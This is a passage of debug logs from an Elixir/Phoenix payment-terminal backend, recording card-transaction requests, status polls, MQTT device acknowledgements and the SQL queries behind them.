    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788439063,
    device_id: "98251226730002",
    amount: 150
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch468585561184",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:37:43.020291Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 12:37:43.021000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:50332] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788439063, device_id: "98251226730002", amount: 150}, event_name: "Response From Publish Txn", refrence_id: "ch468585561184", transaction_id: nil, date_added: ~U[2026-09-03 12:37:43.020291Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 12:37:43.085000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK db=63.6ms idle=184.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788439063, device_id: "98251226730002", amount: 150}, "Response From Publish Txn", "ch468585561184", ~U[2026-09-03 12:37:43Z], 38, "response_from_publish_txn", ~N[2026-09-03 12:37:43], ~N[2026-09-03 12:37:43]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:37:43.086000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Successfully created custom event log with ID: 40231
[Thu Sep  3 12:37:43.086000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50332] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1094189058.184443>
[Thu Sep  3 12:37:43.086000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50332] Sent 200 in 320ms
[Thu Sep  3 12:37:49.345000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:52868] POST /api/device/status
[Thu Sep  3 12:37:49.345000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:52868] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch468585561184", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:37:49.345000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:52868] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch468585561184", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:37:49.346000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:52868] Transaction reference number: "ch468585561184"
[Thu Sep  3 12:37:49.362000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52868] QUERY OK source="pos_transaction" db=15.8ms idle=1278.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch468585561184"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:37:49.364000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52868] QUERY OK source="pos_temp_transaction" db=1.1ms idle=1294.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch468585561184"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:37:49.368000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52868] QUERY OK source="pos_failed_transaction" db=3.3ms idle=1295.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch468585561184"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:37:49.370000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52868] QUERY OK source="cloud_transaction" db=1.1ms queue=0.1ms idle=1299.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch468585561184"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:37:49.374000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:52868] Sent 200 in 28ms
[Thu Sep  3 12:37:53.941000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:52874] POST /api/device/status
[Thu Sep  3 12:37:53.942000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:52874] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch468585561184", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:37:53.942000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:52874] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch468585561184", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:37:53.942000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:52874] Transaction reference number: "ch468585561184"
[Thu Sep  3 12:37:53.958000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52874] QUERY OK source="pos_transaction" db=15.9ms idle=1858.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch468585561184"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:37:53.961000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52874] QUERY OK source="pos_terminals" db=2.0ms queue=0.2ms idle=886.6ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Thu Sep  3 12:37:53.965000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52874] QUERY OK source="brands" db=3.8ms idle=889.0ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Thu Sep  3 12:37:53.968000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52874] QUERY OK source="user_metadata" db=2.3ms idle=898.7ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Thu Sep  3 12:37:53.970000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52874] QUERY OK source="cloud_transaction" db=1.0ms idle=896.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch468585561184"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Thu Sep  3 12:37:53.970000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:52874] Sent 200 in 28ms
[Thu Sep  3 12:38:39.366000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch468585561184","money": "15000.0", "status": "SUCCESS" }
[Thu Sep  3 12:38:39.366000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch468585561184: %{"money" => "15000.0", "request_id" => "ch468585561184", "status" => "SUCCESS"}
[Thu Sep  3 12:38:39.366000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch468585561184 is success
[Thu Sep  3 12:38:39.373000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=3.2ms idle=1291.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch468585561184", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 12:38:39.400000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=25.5ms queue=0.1ms idle=1294.7ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["success", "received", ~N[2026-09-03 12:38:39], 4963]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Thu Sep  3 12:38:39.401000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch468585561184 updated to success/received
[Thu Sep  3 12:38:50.966000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730001 with payload: {"request_id" : "ch468585561184_20260903123848291","money": "10000.0", "status": "FAILED" }
[Thu Sep  3 12:38:50.966000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730001 with request_id ch468585561184_20260903123848291: %{"money" => "10000.0", "request_id" => "ch468585561184_20260903123848291", "status" => "FAILED"}
[Thu Sep  3 12:38:50.968000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch468585561184_20260903123848291 is failed
[Thu Sep  3 12:38:50.970000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=1.7ms idle=1886.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch468585561184_20260903123848291", "98251226730001"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 12:38:50.970000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch468585561184_20260903123848291
[Thu Sep  3 12:39:55.390000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730001 with payload: {"request_id" : "ch468585561184_20260903123930595","money": "10000.0", "status": "FAILED" }
[Thu Sep  3 12:39:55.390000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730001 with request_id ch468585561184_20260903123930595: %{"money" => "10000.0", "request_id" => "ch468585561184_20260903123930595", "status" => "FAILED"}
[Thu Sep  3 12:39:55.390000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch468585561184_20260903123930595 is failed
[Thu Sep  3 12:39:55.392000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=1.3ms idle=1307.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch468585561184_20260903123930595", "98251226730001"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 12:39:55.392000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch468585561184_20260903123930595
[Thu Sep  3 12:44:52.143000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.3:53280] GET /
[Thu Sep  3 12:44:52.144000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 85.217.149.3:53280] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 12:44:52.145000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.3:53280] Sent 200 in 1ms
[Thu Sep  3 12:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1576.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 12:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.3ms idle=1521.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 12:57:08.846000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "refund-test-01","money": "12000.0", "status": "SUCCESS" }
[Thu Sep  3 12:57:08.846000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id refund-test-01: %{"money" => "12000.0", "request_id" => "refund-test-01", "status" => "SUCCESS"}
[Thu Sep  3 12:57:08.848000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id refund-test-01 is success
[Thu Sep  3 12:57:08.858000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=9.5ms queue=0.1ms idle=1665.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["refund-test-01", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 12:57:08.859000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=refund-test-01
[Thu Sep  3 13:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1467.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 13:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1395.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 13:26:24.708000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1312.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 13:27:12.502000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60828] POST /api/device/initiate
[Thu Sep  3 13:27:12.503000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:60828] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch870253592794", "externalRefNumber2" => "1722973559", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 13:27:12.503000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60828] Processing card transaction for reference: ch870253592794
[Thu Sep  3 13:27:12.504000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK source="users" db=1.1ms idle=981.0ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 13:27:12.505000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK source="custom_events" db=0.5ms queue=0.1ms idle=253.5ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 13:27:12.505000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch870253592794"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 122,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch870253592794",
  external_ref_number_2: "1722973559",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Thu Sep  3 13:27:12.506000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 122,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch870253592794",
    external_ref_number_2: "1722973559",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch870253592794",
  transaction_id: nil,
  date_added: ~U[2026-09-03 13:27:12.505978Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 13:27:12.506000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:60828] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch870253592794", external_ref_number_2: "1722973559", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch870253592794", transaction_id: nil, date_added: ~U[2026-09-03 13:27:12.505978Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 13:27:12.539000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK db=32.4ms idle=215.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch870253592794", external_ref_number_2: "1722973559", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch870253592794", ~U[2026-09-03 13:27:12Z], 35, "initiate_card_txn_request", ~N[2026-09-03 13:27:12], ~N[2026-09-03 13:27:12]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 13:27:12.539000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Successfully created custom event log with ID: 40236
[Thu Sep  3 13:27:12.539000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60828] Handling card transaction:
- Reference: ch870253592794
- Amount: 122
